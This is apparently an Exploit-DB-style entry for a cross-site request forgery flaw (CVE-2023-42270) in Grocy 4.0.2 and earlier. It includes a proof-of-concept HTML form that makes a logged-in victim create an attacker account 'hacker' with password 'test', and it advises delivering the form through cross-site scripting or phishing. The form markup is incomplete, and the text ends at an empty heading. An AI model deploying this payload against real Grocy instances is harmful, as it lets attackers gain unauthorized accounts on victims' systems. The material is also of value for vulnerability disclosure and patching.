# Exploit Title: Grocy <= 4.0.2 CSRF Vulnerability  
# Application: Grocy  
# Version: <= 4.0.2  
# Date: 09/21/2023  
# Exploit Author: Chance Proctor  
# Vendor Homepage:  
# Software Link:  
# Tested on: Linux  
# CVE : CVE-2023-42270  
When creating a new user in Grocy 4.0.2, the new user request is made using JSON formatting.  
This makes it easy to adjust your request since it is a known format.   
There is also no CSRF Token or other methods of verification in place to verify where the request is coming from.  
This allows for html code to generate a new user as long as the target is logged in and has Create User Permissions.  
Proof of Concept  
Host the following html code via a XSS or delivery via a phishing campaign:  
<form action="/api/users" method="post" enctype="application/x-www-form-urlencoded">  
<input name='username' value='hacker' type='hidden'>  
<input name='password' value='test' type='hidden'>  
<input type=submit>  
history.pushState('','', '/');  
If a user is logged into the Grocy Webapp at time of execution, a new user will be created in the app with the following credentials  
Username: hacker  
Password: test  
In order for this to work, the target must have Create User Permissions.  
This is enabled by default.  
Proof of Exploit/Reproduce